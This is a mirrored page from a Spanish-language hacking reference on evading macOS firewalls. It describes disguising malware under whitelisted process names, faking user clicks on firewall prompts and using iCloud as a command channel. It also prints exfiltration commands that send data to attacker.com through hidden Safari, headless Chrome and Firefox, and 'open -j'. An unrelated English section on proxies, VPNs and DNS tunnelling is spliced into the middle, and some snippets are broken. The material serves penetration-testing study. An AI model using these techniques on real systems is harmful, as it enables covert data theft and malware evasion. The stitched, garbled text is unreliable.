Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

8.2 KiB
Raw Blame History

Bypassing Firewalls en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Técnicas encontradas

Se encontraron las siguientes técnicas que funcionan en algunas aplicaciones de firewall de macOS.

Abuso de nombres de lista blanca

  • Por ejemplo, llamar al malware con nombres de procesos conocidos de macOS como launchd

Clic sintético

  • Si el firewall solicita permiso al usuario, hacer que el malware haga clic en permitir

Utilizar binarios firmados por Apple

  • Como curl, pero también otros como whois

Dominios conocidos de Apple

El firewall podría permitir conexiones a dominios conocidos de Apple como apple.com o icloud.com. Y iCloud podría ser utilizado como un C2.

Bypass genérico

Algunas ideas para intentar evadir firewalls

Verificar el tráfico permitido

Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos

lsof -i TCP -sTCP:ESTABLISHED

Abuso de DNS

Las resoluciones de DNS se realizan a través de la aplicación firmada mdnsreponder, que probablemente se permitirá contactar a los servidores DNS.

A través de aplicaciones de navegador

  • oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %}

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

{% endcode %}

  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

Bypassing Firewalls in macOS

Introduction

Firewalls are an essential security measure that protect our systems from unauthorized access and network attacks. However, as a hacker, it is crucial to understand how to bypass firewalls to gain access to restricted resources or exploit vulnerabilities.

In this chapter, we will explore techniques to bypass firewalls in macOS, specifically focusing on the Safari web browser.

Bypassing Firewalls with Safari

Safari is the default web browser on macOS, and it comes with built-in security features. However, these features can be bypassed using various techniques.

1. Proxy Servers

One way to bypass firewalls is by using proxy servers. A proxy server acts as an intermediary between the user and the target website, allowing the user to access restricted content. By configuring Safari to use a proxy server, you can bypass firewall restrictions and access blocked websites.

To configure a proxy server in Safari, follow these steps:

  1. Open Safari and go to Preferences.
  2. Click on the Advanced tab.
  3. Click on the Change Settings button next to Proxies.
  4. Select the Web Proxy (HTTP) option and enter the proxy server's IP address and port number.
  5. Click OK to save the changes.

2. VPNs

Virtual Private Networks (VPNs) can also be used to bypass firewalls. A VPN creates a secure connection between the user's device and a remote server, encrypting the traffic and hiding the user's IP address. By connecting to a VPN server outside the restricted network, you can bypass firewall restrictions and access blocked websites.

To use a VPN in Safari, follow these steps:

  1. Install a VPN client on your macOS device.
  2. Open the VPN client and connect to a VPN server outside the restricted network.
  3. Once connected, open Safari and browse the web as usual.

3. DNS Tunneling

DNS tunneling is another technique that can be used to bypass firewalls. It involves encapsulating non-DNS traffic within DNS packets, allowing it to bypass firewall restrictions. By using a DNS tunneling tool, you can redirect your Safari traffic through DNS queries, effectively bypassing firewalls.

To use DNS tunneling in Safari, follow these steps:

  1. Install a DNS tunneling tool on your macOS device.
  2. Configure the tool to redirect Safari traffic through DNS queries.
  3. Open Safari and browse the web as usual.

Conclusion

Bypassing firewalls in macOS, particularly with Safari, requires a good understanding of the techniques and tools available. By using proxy servers, VPNs, or DNS tunneling, you can bypass firewall restrictions and gain access to restricted resources. However, it is important to note that these techniques should only be used for ethical purposes, such as penetration testing or authorized security assessments.

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

A través de inyecciones de procesos

Si puedes inyectar código en un proceso que tiene permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥